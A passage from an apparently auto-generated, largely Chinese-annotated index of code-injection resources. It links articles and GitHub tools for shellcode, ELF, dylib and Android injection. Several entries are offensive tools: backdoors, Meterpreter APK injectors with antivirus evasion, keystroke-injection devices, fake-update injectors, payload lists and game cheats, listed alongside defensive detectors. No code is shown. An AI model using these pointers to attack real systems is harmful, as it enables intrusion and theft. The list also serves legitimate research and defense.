- 2012.06 [welivesecurity] [ZeroAccess: code injection chronicles](https://www.welivesecurity.com/2012/06/25/zeroaccess-code-injection-chronicles/)
- 2012.06 [freebuf] [[方法分享]利用输入框进行恶意代码注入](http://www.freebuf.com/articles/4316.html)
- 2012.06 [hackingarticles] [How to Attack on Remote PC using HTTP Code Injection Technique](http://www.hackingarticles.in/how-to-attack-on-remote-pc-using-http-code-injection-technique/)
- 2012.04 [pediy] [[原创]今天突然想注入，写了点代码](https://bbs.pediy.com/thread-148886.htm)
- 2012.02 [trustwave] [[Honeypot Alert] phpMyAdmin Code Injection Attacks for Botnet Recruitment](https://www.trustwave.com/Resources/SpiderLabs-Blog/-Honeypot-Alert--phpMyAdmin-Code-Injection-Attacks-for-Botnet-Recruitment/)
- 2011.12 [pediy] [[原创]自己写的一个为可执行文件注入代码的API，使用超级方便](https://bbs.pediy.com/thread-143691.htm)
- 2011.07 [pediy] [[原创]借腹怀胎的注入代码个人理解](https://bbs.pediy.com/thread-137090.htm)
- 2011.06 [forcepoint] [Malware campaign uses direct injection of Java exploit code](https://www.forcepoint.com/blog/security-labs/malware-campaign-uses-direct-injection-java-exploit-code)
- 2010.05 [pediy] [[翻译]注入你的代码到可执行文件](https://bbs.pediy.com/thread-113871.htm)
- 2009.03 [pediy] [[原创]如何向WM程序注入代码[1]总纲](https://bbs.pediy.com/thread-84327.htm)
- 2009.01 [arxiv] [[0901.3482] Code injection attacks on harvard-architecture devices](https://arxiv.org/abs/0901.3482)
- 2008.11 [travisgoodspeed] [MicaZ Code Injection](http://travisgoodspeed.blogspot.com/2008/11/micaz-code-injection.html)
- 2008.09 [secshoggoth] [SEO Code Injection](http://secshoggoth.blogspot.com/2008/09/seo-code-injection.html)
- 2008.07 [reverse] [Mac OS X Code injection](https://reverse.put.as/2008/07/03/mac-os-x-code-injection/)
- 2007.09 [travisgoodspeed] [Memory-Constrained Code Injection](http://travisgoodspeed.blogspot.com/2007/09/memory-constrained-code-injection.html)
- 2007.02 [sans] [more code injection sites 8.js](https://isc.sans.edu/forums/diary/more+code+injection+sites+8js/2178/)
- 2006.12 [pediy] [[翻译]注入 动态生成及混淆的恶意代码的检测](https://bbs.pediy.com/thread-35766.htm)
- 2006.08 [pediy] [[翻译]向导入表中注入代码](https://bbs.pediy.com/thread-30166.htm)
- 2006.04 [pediy] [翻译：向PE中注入代码（4.17修改）](https://bbs.pediy.com/thread-24183.htm)
- 2005.07 [pediy] [Code Injection破解Armadillo V4.20单进程加壳程序――FTPRush Unicode V1.0.RC6.build.568](https://bbs.pediy.com/thread-15403.htm)
- 2005.06 [pediy] [Hying's Armor v0.7x Code Injection](https://bbs.pediy.com/thread-14294.htm)
- 2005.05 [pediy] [EnCryptPE v2 Code injection](https://bbs.pediy.com/thread-13896.htm)
- 2005.05 [pediy] [ARM3.7x-4.1CopyMEMII Code injection](https://bbs.pediy.com/thread-13656.htm)
- 2005.04 [pediy] [OBSIDIUM 1.25 Code Injection](https://bbs.pediy.com/thread-13283.htm)
- 2005.04 [pediy] [Armadillo 3.7X-4.X Code Injection](https://bbs.pediy.com/thread-13280.htm)
- 2004.09 [pediy] [[翻译]利用代码注入脱壳](https://bbs.pediy.com/thread-4541.htm)
# <a id="a5458e6ee001b754816237b9a2108569"></a>Shellcode注入
***
## <a id="28e1b534eae8d37d8fc1d212f0db0263"></a>工具
- [**2209**星][4m] [Py] [trustedsec/unicorn](https://github.com/trustedsec/unicorn) 通过PowerShell降级攻击, 直接将Shellcode注入到内存
- [**476**星][21d] [Py] [trustedsec/meterssh](https://github.com/trustedsec/meterssh) 将Shellcode注入内存，然后通过SSH隧道传输（端口任选，并伪装成普通SSH连接）
- [**225**星][4m] [PS] [outflanknl/excel4-dcom](https://github.com/outflanknl/excel4-dcom) PowerShell和Cobalt Strike脚本，通过DCOM执行Excel4.0/XLM宏实现横向渗透（直接向Excel.exe注入Shellcode）
- [**112**星][2m] [C++] [josh0xa/threadboat](https://github.com/josh0xA/ThreadBoat) 使用线程执行劫持将本机shellcode注入到标准的Win32应用程序中
- [**77**星][4m] [C] [dimopouloselias/simpleshellcodeinjector](https://github.com/dimopouloselias/simpleshellcodeinjector) 接收十六进制的shellcode作为参数并执行它
- [**66**星][2m] [Py] [sensepost/anapickle](https://github.com/sensepost/anapickle) 用Python的Pickle语言编写shellcode和操作Pickle注入shellcode的工具集。
- [**43**星][1m] [Py] [borjamerino/tlsinjector](https://github.com/borjamerino/tlsinjector) Python script to inject and run shellcodes through TLS callbacks
- [**27**星][2y] [Py] [taroballzchen/shecodject](https://github.com/TaroballzChen/shecodject) shecodject is a autoscript for shellcode injection by Python3 programing
- [**19**星][5y] [C] [jorik041/cymothoa](https://github.com/jorik041/cymothoa) Cymothoa is a backdooring tool, that inject backdoor's shellcode directly into running applications. Stealth and lightweight...
- [**16**星][9m] [PLpgSQL] [michaelburge/redshift-shellcode](https://github.com/michaelburge/redshift-shellcode) Example of injecting x64 shellcode into Amazon Redshift
- [**10**星][1y] [C++] [egebalci/injector](https://github.com/egebalci/injector) Simple shellcode injector.
- [**4**星][3y] [Shell] [thepisode/linux-shellcode-generator](https://github.com/thepisode/linux-shellcode-generator) Experiments on Linux Assembly shellcodes injection
- [**None**星][Go] [pioneerhfy/goback](https://github.com/pioneerhfy/goback) GOback is a backdoor written in GO that use shellcode injection technique for achiving its task.
***
## <a id="c6942bb5275f5b62a41238c6042b2b81"></a>文章
- 2020.03 [hakin9] [Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory.](https://hakin9.org/unicorn-is-a-simple-tool-for-using-a-powershell-downgrade-attack-and-inject-shellcode-straight-into-memory/)
- 2019.12 [aliyun] [手工shellcode注入PE文件](https://xz.aliyun.com/t/6939)
- 2019.11 [4hou] [代码注入技术之Shellcode注入](https://www.4hou.com/web/21784.html)
- 2019.11 [ColinHardy] [Excel 4.0 Macros Analysis - Cobalt Strike Shellcode Injection](https://www.youtube.com/watch?v=XnN_UWfHlNM)
- 2019.06 [360] [Arm平台Ptrace注入shellcode技术](https://www.anquanke.com/post/id/179985/)
- 2018.09 [pediy] [[分享]绝对牛逼哄哄的shellcode内存注入,支持64,32,远程内存注入,支持VMP壳最大强度保护](https://bbs.pediy.com/thread-246934.htm)
- 2018.05 [cobaltstrike] [PowerShell Shellcode Injection on Win 10 (v1803)](https://blog.cobaltstrike.com/2018/05/24/powershell-shellcode-injection-on-win-10-v1803/)
- 2017.12 [pentesttoolz] [Shecodject – Autoscript for Shellcode Injection](https://pentesttoolz.com/2017/12/30/shecodject-autoscript-for-shellcode-injection/)
- 2017.12 [MalwareAnalysisForHedgehogs] [Malware Analysis - ROKRAT Unpacking from Injected Shellcode](https://www.youtube.com/watch?v=uoBQE5s2ba4)
- 2017.11 [freebuf] [Metasploit自动化Bypass Av脚本：Shecodject X Shellcode Injection](http://www.freebuf.com/sectool/154356.html)
- 2017.01 [christophertruncer] [Shellcode Generation, Manipulation, and Injection in Python 3](https://www.christophertruncer.com/shellcode-manipulation-and-injection-in-python-3/)
- 2015.12 [dhavalkapil] [Shellcode Injection](https://dhavalkapil.com/blogs/Shellcode-Injection/)
- 2015.12 [n0where] [Dynamic Shellcode Injection: Shellter](https://n0where.net/dynamic-shellcode-injection-shellter)
- 2015.10 [freebuf] [Kali Shellter 5.1：动态ShellCode注入工具 绕过安全软件](http://www.freebuf.com/sectool/81955.html)
- 2015.07 [BsidesLisbon] [BSidesLisbon2015 - Shellter - A dynamic shellcode injector - Kyriakos Economou](https://www.youtube.com/watch?v=TunWNHYrWp8)
- 2015.06 [freebuf] [动态Shellcode注入工具 – Shellter](http://www.freebuf.com/sectool/71230.html)
- 2015.06 [shelliscoming] [TLS Injector: running shellcodes through TLS callbacks](http://www.shelliscoming.com/2015/06/tls-injector-running-shellcodes-through.html)
- 2014.08 [toolswatch] [Shellter v1.7 A Dynamic ShellCode Injector – Released](http://www.toolswatch.org/2014/08/shellter-v1-7-a-dynamic-shellcode-injector-released/)
- 2014.06 [toolswatch] [[New Tool] Shellter v1.0 A Dynamic ShellCode Injector – Released](http://www.toolswatch.org/2014/06/new-tool-shellter-v1-0-a-dynamic-shellcode-injector-released/)
- 2013.06 [debasish] [Injecting Shellcode into a Portable Executable(PE) using Python](http://www.debasish.in/2013/06/injecting-shellcode-into-portable.html)
- 2013.05 [trustedsec] [Native PowerShell x86 Shellcode Injection on 64-bit Platforms](https://www.trustedsec.com/2013/05/native-powershell-x86-shellcode-injection-on-64-bit-platforms/)
- 2013.05 [pediy] [[原创]内核ShellCode注入的一种方法](https://bbs.pediy.com/thread-170959.htm)
- 2012.10 [hackingarticles] [Cymothoa – Runtime shellcode injection Backdoors](http://www.hackingarticles.in/cymothoa-runtime-shellcode-injection-for-stealthy-backdoors/)
- 2012.09 [hackingarticles] [PyInjector Shellcode Injection attack on Remote PC using Social Engineering Toolkit](http://www.hackingarticles.in/pyinjector-shellcode-injection-attack-on-remote-windows-pc-using-social-engineering-toolkit/)
- 2012.08 [trustedsec] [New tool PyInjector Released – Python Shellcode Injection](https://www.trustedsec.com/2012/08/new-tool-pyinjector-released-python-shellcode-injection/)
- 2007.01 [pediy] [《The Shellcoder's handbook》第十四章_故障注入](https://bbs.pediy.com/thread-38713.htm)
# <a id="3584002eaa30b92479c1e1c2fc6ce4ef"></a>ELF注入
***
## <a id="b423b830472372349203f88cf64c6814"></a>工具
- [**269**星][10d] [Shell] [cytopia/pwncat](https://github.com/cytopia/pwncat) pwncat - netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and port forwarding magic - and its fully scriptable with Python (PSE)
- [**106**星][14d] [C] [comsecuris/luaqemu](https://github.com/comsecuris/luaqemu) QEMU-based framework exposing several of QEMU-internal APIs to a LuaJIT core injected into QEMU itself. Among other things, this allows fast prototyping of target systems without any native code and minimal effort in Lua.
- [**73**星][10d] [C] [zznop/drow](https://github.com/zznop/drow) Injects code into ELF executables post-build
- [**45**星][1m] [C] [jmpews/evilelf](https://github.com/jmpews/evilelf) Malicious use of ELF such as .so inject, func hook and so on.
- [**26**星][4m] [C++] [shaxzy/nixware-csgo](https://github.com/shaxzy/nixware-csgo) Source code of Nixware. Cheat doesn't inject for some reason, fix it uself or just paste from it
- [**9**星][3m] [C] [mfaerevaag/elfinjector](https://github.com/mfaerevaag/elfinjector) Code injector for ELF binaries (incl. PIE)
- [**1**星][2y] [JS] [mshoop/web-xss-attack](https://github.com/mshoop/web-xss-attack) Exploring website security through cross-site scripting attacks, maliciously injected JavaScript and self-propagating worms
***
## <a id="0a853f9e3f9ccb0663007d3a508ce02b"></a>文章
- 2020.02 [advancedpersistentjest] [Fault Injection on Linux: Practical KERNELFAULT-Style Attacks](https://advancedpersistentjest.com/2020/02/15/fault-injection-on-linux-practical-kernelfault-style-attacks/)
- 2018.08 [0x00sec] [Issues with elf file injection tutorial by pico](https://0x00sec.org/t/issues-with-elf-file-injection-tutorial-by-pico/8029/)
- 2017.12 [MSbluehat] [BlueHat v17 || KERNELFAULT: R00ting the Unexploitable using Hardware Fault Injection](https://www.slideshare.net/MSbluehat/kernelfault-r00ting-the-unexploitable-using-hardware-fault-injection)
- 2016.05 [0x00sec] [ELFun File Injector](https://0x00sec.org/t/elfun-file-injector/410/)
- 2016.04 [backtrace] [ELF shared library injection forensics](https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/)
- 2014.02 [malwarebytes] [How to Unpack a Self-Injecting Citadel Trojan](https://blog.malwarebytes.com/threat-analysis/2014/02/how-to-unpack-a-self-injecting-citadel-trojan/)
- 2014.02 [evilsocket] [Termination and Injection Self Defense on Windows >= Vista SP1](https://www.evilsocket.net/2014/02/05/termination-and-injection-self-defense-on-windows/)
- 2010.03 [publicintelligence] [ELF/VLF Wave-injection and Magnetospheric Probing with HAARP](https://publicintelligence.net/elfvlf-wave-injection-and-magnetospheric-probing-with-haarp/)
# <a id="108c798de24e7ce6fde0cafe99eec5b3"></a>Dylib注入
***
## <a id="12df48702564d73c275c72133546d73e"></a>工具
- [**2032**星][3y] [Swift] [urinx/iosapphook](https://github.com/urinx/iosapphook) 专注于非越狱环境下iOS应用逆向研究，从dylib注入，应用重签名到App Hook
- [**752**星][5y] [ObjC] [kjcracks/yololib](https://github.com/kjcracks/yololib) dylib injector for mach-o binaries
- [**506**星][13d] [Objective-C++] [bishopfox/bfinject](https://github.com/bishopfox/bfinject) Dylib injection for iOS 11.0 - 11.1.2 with LiberiOS and Electra jailbreaks
- [**191**星][3m] [Swift] [codesourse/iinjection](https://github.com/codesourse/iinjection) an app for OS X that can inject dylib and (re)sign apps and bundle them into ipa files that are ready to be installed on an iOS device.
- [**173**星][16d] [C] [scen/osxinj](https://github.com/scen/osxinj) osx dylib injection
***
## <a id="0af1332c6476d1a8f98046542e925282"></a>文章
- 2014.05 [pediy] [[原创]iOS下远程进程注入dylib源码](https://bbs.pediy.com/thread-187833.htm)
# <a id="06fc9c584b797f97731e3c49886dcc08"></a>Android
***
## <a id="4c02a0ba65fa4f582ec590ce1e070822"></a>工具
- [**1300**星][4m] [JS] [megatronking/httpcanary](https://github.com/megatronking/httpcanary) 一个强大的捕获和注入工具的Android平台
- [**475**星][3y] [Smali] [sensepost/kwetza](https://github.com/sensepost/kwetza) Python 脚本，将 Meterpreter payload 注入 Andorid App
- [**447**星][9m] [Java] [megatronking/netbare](https://github.com/megatronking/netbare) Net packets capture & injection library designed for Android
- [**252**星][16d] [Py] [feicong/jni_helper](https://github.com/feicong/jni_helper) AndroidSO自动化分析工具（非虫）
- [**148**星][4m] [Java] [zhouat/inject-hook](https://github.com/zhouat/inject-hook) for android
- [**144**星][3y] [C] [xmikos/setools-android](https://github.com/xmikos/setools-android) Unofficial port of setools to Android with additional sepolicy-inject utility included
- [**136**星][11d] [Lua] [lanoox/luject](https://github.com/lanoox/luject) A static injector of dynamic library for application (android, iphoneos, macOS, windows, linux)
- [**122**星][5y] [irsl/adb-backup-apk-injection](https://github.com/irsl/adb-backup-apk-injection) Android ADB backup APK Injection POC
- [**97**星][4y] [Shell] [jlrodriguezf/whatspwn](https://github.com/jlrodriguezf/whatspwn) Linux tool used to extract sensitive data, inject backdoor or drop remote shells on android devices.
- [**76**星][4y] [Py] [moosd/needle](https://github.com/moosd/needle) Android framework injection made easy
- [**56**星][4m] [C] [shunix/tinyinjector](https://github.com/shunix/tinyinjector) Shared Library Injector on Android
- [**55**星][4m] [Java] [igio90/fridaandroidinjector](https://github.com/igio90/fridaandroidinjector) Inject frida agents on local processes through an Android app
- [**52**星][2m] [Py] [alessandroz/pupy](https://github.com/alessandroz/pupy) Python编写的远控、后渗透工具，跨平台（Windows, Linux, OSX, Android）
- [**52**星][14d] [TS] [whid-injector/whid-mobile-connector](https://github.com/whid-injector/whid-mobile-connector) Android Mobile App for Controlling WHID Injector remotely.
- [**48**星][16d] [Py] [ikoz/jdwp-lib-injector](https://github.com/ikoz/jdwp-lib-injector) inject native shared libraries into debuggable Android applications
- [**46**星][30d] [Shell] [jbreed/apkinjector](https://github.com/jbreed/apkinjector) Android APK Antivirus evasion for msfvenom generated payloads to inject into another APK file for phishing attacks.
- [**40**星][8m] [Java] [ivianuu/contributer](https://github.com/ivianuu/contributer) Inject all types like views or a conductor controllers with @ContributesAndroidInjector
- [**33**星][1y] [Groovy] [eastwoodyang/autoinject](https://github.com/eastwoodyang/autoinject) Android 通用的组件自动注册、自动初始化解决方案
- [**30**星][6m] [Java] [cristianturetta/mad-spy](https://github.com/cristianturetta/mad-spy) 一个用于教育目的的恶意软件
- [**24**星][5m] [Smali] [aress31/sci](https://github.com/aress31/sci) 用于在Android应用程序中自动化汇编代码注入(trojanting)过程的框架
- [**13**星][11m] [JS] [cheverebe/android-malware](https://github.com/cheverebe/android-malware) Injected malicious code into legitimate andoid applications. Converted a keyboard app into a keylogger and an MP3 downloader into an image thief.
***
## <a id="9ff27f3143a5c619b554185069ecffb0"></a>文章
- 2018.01 [pediy] [[分享][原创]修改android app_process elf (实现rrrfff大神 <android全局注入>第一步)](https://bbs.pediy.com/thread-224297.htm)
- 2017.08 [360] [Dvmap：第一款使用代码注入的Android恶意软件](https://www.anquanke.com/post/id/86648/)
- 2017.06 [4hou] [小心！Google Play 中出现首个使用代码注入Android恶意软件——Dvmap](http://www.4hou.com/vulnerable/5364.html)
- 2017.06 [securelist] [卡巴斯基首次发现代码注入的 Android 恶意 App：运行时将恶意代码注入系统库 libdmv.so 或者 libandroid_runtime.so。此恶意 App 甚至支持64位 Android 系统](https://securelist.com/dvmap-the-first-android-malware-with-code-injection/78648/)
- 2015.05 [evilsocket] [Android Native API Hooking With Library Injection and ELF Introspection.](https://www.evilsocket.net/2015/05/04/android-native-api-hooking-with-library-injecto/)
- 2015.05 [evilsocket] [Dynamically Inject a Shared Library Into a Running Process on Android/ARM](https://www.evilsocket.net/2015/05/01/dynamically-inject-a-shared-library-into-a-running-process-on-androidarm/)
- 2011.10 [pediy] [[原创]发个Android平台上的注入代码](https://bbs.pediy.com/thread-141355.htm)
- 2011.09 [winsunxu] [android注入代码之注入类方法](https://blog.csdn.net/winsunxu/article/details/6771905)
- 2011.09 [winsunxu] [android注入代码，再议寄存器平衡](https://blog.csdn.net/winsunxu/article/details/6756857)
- 2011.09 [winsunxu] [android 代码注入 崩溃 解决方法](https://blog.csdn.net/winsunxu/article/details/6742838)
# <a id="4ffa5c3eb1f3b85e4c38f6863f5b76b2"></a>其他
***
## <a id="fd5f8ada2d4f47c63c3635427873c79c"></a>工具
- [**1044**星][11d] [Go] [banzaicloud/bank-vaults](https://github.com/banzaicloud/bank-vaults) A Vault swiss-army knife: a K8s operator, Go client with automatic token renewal, automatic configuration, multiple unseal options and more. A CLI tool to init, unseal and configure Vault (auth methods, secret engines). Direct secret injection into Pods.
- [**980**星][12d] [Perl] [infobyte/evilgrade](https://github.com/infobyte/evilgrade) 供应链攻击: 注入虚假的update
- [**920**星][4m] [C++] [whid-injector/whid](https://github.com/whid-injector/whid) WiFi HID Injector - An USB Rubberducky / BadUSB On Steroids.
- [**877**星][7m] [C] [spacehuhn/wifi_ducky](https://github.com/spacehuhn/wifi_ducky) 使用ESP8266 + ATMEGA32U4，远程上传、保存和运行按键注入Payload
- [**577**星][19d] [TS] [samdenty/injectify](https://github.com/samdenty/injectify) 对网站实行中间人攻击的框架
- [**559**星][28d] [Py] [shellphish/fuzzer](https://github.com/shellphish/fuzzer) Americanfuzzy lop 的 Python 版本接口
- [**555**星][11d] [C] [libnet/libnet](https://github.com/libnet/libnet) 创建和注入网络数据包
- [**509**星][10d] [C] [nongiach/sudo_inject](https://github.com/nongiach/sudo_inject) [Linux] Two Privilege Escalation techniques abusing sudo token
- [**501**星][7m] [C] [hasherezade/demos](https://github.com/hasherezade/demos) Demos of various injection techniques found in malware
- [**463**星][12d] [Perl] [chinarulezzz/pixload](https://github.com/chinarulezzz/pixload) Image Payload Creating/Injecting tools
- [**427**星][11d] [payloadbox/command-injection-payload-list](https://github.com/payloadbox/command-injection-payload-list) 一种攻击，其目标是通过易受攻击的应用程序在主机操作系统上执行任意命令
- [**420**星][2y] [C++] [rootm0s/injectors](https://github.com/rootm0s/injectors) DLL/Shellcode injection techniques
- [**380**星][15d] [veracode-research/solr-injection](https://github.com/veracode-research/solr-injection) Apache Solr注入研究
- [**380**星][15d] [veracode-research/solr-injection](https://github.com/veracode-research/solr-injection) Apache Solr Injection Research
- [**356**星][8d] [C++] [spacehuhntech/wifiduck](https://github.com/SpacehuhnTech/WiFiDuck) Wireless keystroke injection attack platform
- [**320**星][2y] [C++] [exploitagency/esploitv2](https://github.com/exploitagency/esploitv2) 为Atmega 32u4/ESP8266通过串口配对设计的WiFi按键注射工具(Cactus WHID固件)。还提供了串行、HTTP和PASV FTP过滤方法，以及名为ESPortal的集成凭据收割机钓鱼工具。
- [**317**星][10d] [Py] [pmsosa/duckhunt](https://github.com/pmsosa/duckhunt) Prevent RubberDucky (or other keystroke injection) attacks
- [**308**星][12d] [C] [pulkin/esp8266-injection-example](https://github.com/pulkin/esp8266-injection-example) Example project to demonstrate packet injection / sniffer capabilities of ESP8266 IC.
- [**299**星][18d] [HTML] [dxa4481/cssinjection](https://github.com/dxa4481/cssinjection) Stealing CSRF tokens with CSS injection (without iFrames)
- [**297**星][2y] [C] [can1357/theperfectinjector](https://github.com/can1357/theperfectinjector) Literally, the perfect injector.
- [**284**星][4m] [C++] [fransbouma/injectablegenericcamerasystem](https://github.com/fransbouma/injectablegenericcamerasystem) This is a generic camera system to be used as the base for cameras for taking screenshots within games. The main purpose of the system is to hijack the in-game 3D camera by overwriting values in its camera structure with our own values so we can control where the camera is located, it's pitch/yaw/roll values, its FoV and the camera's look vector.
- [**265**星][19d] [C] [astsam/rtl8812au](https://github.com/astsam/rtl8812au) RTL8812AU/21AU and RTL8814AU driver with monitor mode and frame injection
- [**265**星][17d] [Java] [portswigger/collaborator-everywhere](https://github.com/portswigger/collaborator-everywhere) Burp Suite 扩展，通过注入非侵入性 headers 来增强代理流量，通过引起 Pingback 到 Burp Collaborator 来揭露后端系统
- [**264**星][2y] [Py] [thetwitchy/xxer](https://github.com/thetwitchy/xxer) A blind XXE injection callback handler. Uses HTTP and FTP to extract information. Originally written in Ruby by ONsec-Lab.
- [**255**星][14d] [Py] [nteseyes/pylane](https://github.com/nteseyes/pylane) An python vm injector with debug tools, based on gdb.
- [**254**星][16d] [C] [klsecservices/invoke-vnc](https://github.com/klsecservices/Invoke-Vnc) executes a VNC agent in-memory and initiates a reverse connection, or binds to a specified port.
- [**242**星][11d] [JS] [sjitech/proxy-login-automator](https://github.com/sjitech/proxy-login-automator) A single node.js script to automatically inject user/password to http proxy server via a local forwarder
- [**215**星][12d] [Py] [google/ukip](https://github.com/google/ukip) USB Keystroke Injection Protection
- [**212**星][2y] [HTML] [xsscx/commodity-injection-signatures](https://github.com/xsscx/commodity-injection-signatures) Commodity Injection Signatures, Malicious Inputs, XSS, HTTP Header Injection, XXE, RCE, Javascript, XSLT
- [**211**星][12d] [C++] [hiitiger/gelectron](https://github.com/hiitiger/gelectron) gameoverlay solution for Electron, Qt and CEF, just like discord game overlay and steam game overlay, inject any app to overlay in your game
- [**197**星][5y] [Py] [offensivepython/pinject](https://github.com/OffensivePython/Pinject) Raw Packet Injection tool
- [**170**星][3y] [HTML] [threatexpress/metatwin](https://github.com/threatexpress/metatwin) The project is designed as a file resource cloner. Metadata, including digital signature, is extracted from one file and injected into another.
- [**158**星][11d] [C] [aircrack-ng/rtl8188eus](https://github.com/aircrack-ng/rtl8188eus) RealTek RTL8188eus WiFi driver with monitor mode & frame injection support
- [**157**星][7d] [icehacks/survivcheatinjector](https://github.com/icehacks/survivcheatinjector) An actual, updated, surviv.io cheat. Works great and we reply fast.
- [**149**星][25d] [Shell] [depoon/iosdylibinjectiondemo](https://github.com/depoon/iosdylibinjectiondemo) Using this Repository to demo how to inject dynamic libraries into cracked ipa files for jailed iOS devices
- [**144**星][2m] [Py] [shengqi158/pyvulhunter](https://github.com/shengqi158/pyvulhunter) python audit tool 审计 注入 inject
- [**141**星][18d] [Ruby] [dry-rb/dry-auto_inject](https://github.com/dry-rb/dry-auto_inject) Container-agnostic constructor injection mixin
- [**140**星][12d] [Go] [malfunkt/arpfox](https://github.com/malfunkt/arpfox) An arpspoof alternative (written in Go) that injects spoofed ARP packets into a LAN.
- [**135**星][16d] [Py] [cr0hn/enteletaor](https://github.com/cr0hn/enteletaor) Message Queue & Broker Injection tool
- [**134**星][3m] [C++] [michalmonday/supremeduck](https://github.com/michalmonday/supremeduck) USB keystroke injector controlled by smartphone.
- [**131**星][5y] [Py] [ricterz/websocket-injection](https://github.com/ricterz/websocket-injection) WebSocket 中转注入工具
- [**127**星][18d] [Py] [mandatoryprogrammer/xsshunter_client](https://github.com/mandatoryprogrammer/xsshunter_client) Correlated injection proxy tool for XSS Hunter
- [**126**星][3y] [Batchfile] [3gstudent/clr-injection](https://github.com/3gstudent/clr-injection) Use CLR to inject all the .NET apps
- [**123**星][4m] [ObjC] [smilezxlee/zxhookdetection](https://github.com/smilezxlee/zxhookdetection) 【iOS应用安全】hook及越狱的基本防护与检测(动态库注入检测、hook检测与防护、越狱检测、签名校验、IDA反编译分析加密协议示例)
- [**118**星][2y] [C#] [malcomvetter/managedinjection](https://github.com/malcomvetter/managedinjection) A proof of concept for dynamically loading .net assemblies at runtime with only a minimal convention pre-knowledge
- [**117**星][5m] [C#] [gaprogman/owaspheaders.core](https://github.com/gaprogman/owaspheaders.core) A .NET Core middleware for injecting the Owasp recommended HTTP Headers for increased security
- [**117**星][2m] [C++] [praetorian-code/vulcan](https://github.com/praetorian-code/vulcan) a tool to make it easy and fast to test various forms of injection
- [**114**星][2m] [Ruby] [spiderlabs/beef_injection_framework](https://github.com/spiderlabs/beef_injection_framework) Inject beef hooks into HTTP traffic and track hooked systems from cmdline
- [**113**星][3y] [PS] [vletoux/ntlminjector](https://github.com/vletoux/ntlminjector) In case you didn't now how to restore the user password after a password reset (get the previous hash with DCSync)
- [**112**星][2y] [cujanovic/crlf-injection-payloads](https://github.com/cujanovic/crlf-injection-payloads) Payloads for CRLF Injection
- [**111**星][14d] [C++] [haram/splendid_implanter](https://github.com/haram/splendid_implanter) BattlEye compatible injector, done completely from user-mode, project by secret.club
- [**107**星][27d] [C] [yurushao/droid_injectso](https://github.com/yurushao/droid_injectso) A shared libraries injection tool.
- [**106**星][4y] [Eagle] [zapta/linbus](https://github.com/zapta/linbus) An Arduino based LINBUS stack and signal interceptor/injector.
- [**105**星][3y] [C++] [azuregreen/injectcollection](https://github.com/azuregreen/injectcollection) A collection of injection via vc++ in ring3
- [**104**星][4y] [Makefile] [dtrukr/flex_injected](https://github.com/dtrukr/flex_injected) Injecting FLEX with MobileSubstrate. Inject FLEX library into 3rd party apps.
- [**104**星][14d] [Py] [tintinweb/electron-inject](https://github.com/tintinweb/electron-inject) Inject javascript into closed source electron applications e.g. to enable developer tools for debugging.
- [**102**星][14d] [C++] [whid-injector/whid-31337](https://github.com/whid-injector/whid-31337) WHID Elite is a GSM-enabled Open-Source Multi-Purpose Offensive Device that allows a threat actor to remotely inject keystrokes, bypass air-gapped systems, conduct mousejacking attacks, do acoustic surveillance, RF replay attacks and much more. In practice, is THE Wet Dream of any Security Consultant out there!
- [**93**星][16d] [Py] [pdjstone/wsuspect-proxy](https://github.com/pdjstone/wsuspect-proxy) Python tool to inject fake updates into unencrypted WSUS traffic
- [**92**星][2y] [C] [3gstudent/inject-dll-by-process-doppelganging](https://github.com/3gstudent/inject-dll-by-process-doppelganging) Process Doppelgänging
- [**89**星][1m] [C] [xpn/ssh-inject](https://github.com/xpn/ssh-inject) A ptrace POC by hooking SSH to reveal provided passwords
- [**87**星][10d] [Py] [helpsystems/wiwo](https://github.com/helpsystems/wiwo) wiwo is a distributed 802.11 monitoring and injecting system that was designed to be simple and scalable, in which all workers (nodes) can be managed by a Python framework.
- [**86**星][4m] [Java] [pwntester/dupekeyinjector](https://github.com/pwntester/dupekeyinjector) DupeKeyInjector
- [**86**星][9m] [Py] [safebreach-labs/bitsinject](https://github.com/safebreach-labs/bitsinject) A one-click tool to inject jobs into the BITS queue (Background Intelligent Transfer Service), allowing arbitrary program execution as the NT AUTHORITY/SYSTEM account
- [**83**星][1m] [Go] [binject/binjection](https://github.com/binject/binjection) Injects additional machine instructions into various binary formats.
- [**83**星][11d] [JS] [fastify/light-my-request](https://github.com/fastify/light-my-request) Fake HTTP injection library
- [**83**星][17d] [C] [oleavr/ios-inject-custom](https://github.com/oleavr/ios-inject-custom) (iOS) 使用Frida注入自定义Payload
- [**82**星][4m] [C++] [changeofpace/mouclassinputinjection](https://github.com/changeofpace/mouclassinputinjection) MouClassInputInjection implements a kernel interface for injecting mouse input data packets into the input data stream of HID USB mouse devices.
- [**78**星][2y] [C] [alex9191/kernel-dll-injector](https://github.com/alex9191/kernel-dll-injector) Kernel-Mode Driver that loads a dll into every new created process that loads kernel32.dll module
- [**78**星][3y] [C] [ernacktob/esp8266_wifi_raw](https://github.com/ernacktob/esp8266_wifi_raw) ESP8266 wifi packet injection and receiving experiment
- [**75**星][17d] [C] [liji32/mip](https://github.com/liji32/mip) MIP – macOS Injection Platform
- [**74**星][2y] [C++] [3gstudent/inject-dll-by-apc](https://github.com/3gstudent/inject-dll-by-apc) Asynchronous Procedure Calls
- [**72**星][2m] [C#] [komefai/ps4remoteplayinterceptor](https://github.com/komefai/ps4remoteplayinterceptor) A small .NET library to intercept and inject controls on PS4 Remote Play for Windows
- [**70**星][8m] [JS] [lfzark/cookie-injecting-tools](https://github.com/lfzark/cookie-injecting-tools) A chrome extension ,cookie injecting tool includeing injecting ,editing ,adding ,removeing cookies.
- [**68**星][21d] [bastilleresearch/keyjack](https://github.com/bastilleresearch/keyjack) Device discovery tools and encrypted keystroke injection advisories for Logitech, Dell, Lenovo and AmazonBasics
- [**67**星][2m] [C] [merlijnwajer/tracy](https://github.com/merlijnwajer/tracy) tracy - a system call tracer and injector. Find us in #tracy on irc.freenode.net
- [**66**星][4m] [YARA] [fuzzysecurity/bluehatil-2020](https://github.com/fuzzysecurity/bluehatil-2020) BlueHatIL 2020 - Staying # and Bringing Covert Injection Tradecraft to .NET
- [**64**星][4m] [C++] [changeofpace/mouhidinputhook](https://github.com/changeofpace/mouhidinputhook) MouHidInputHook enables users to filter, modify, and inject mouse input data packets into the input data stream of HID USB mouse devices without modifying the mouse device stacks.
- [**62**星][8m] [C] [gdbinit/osx_boubou](https://github.com/gdbinit/osx_boubou) A PoC Mach-O infector via library injection
- [**62**星][2m] [Py] [feexd/vbg](https://github.com/feexd/vbg) 使用X11转发的SSH会话远程在客户端执行指令
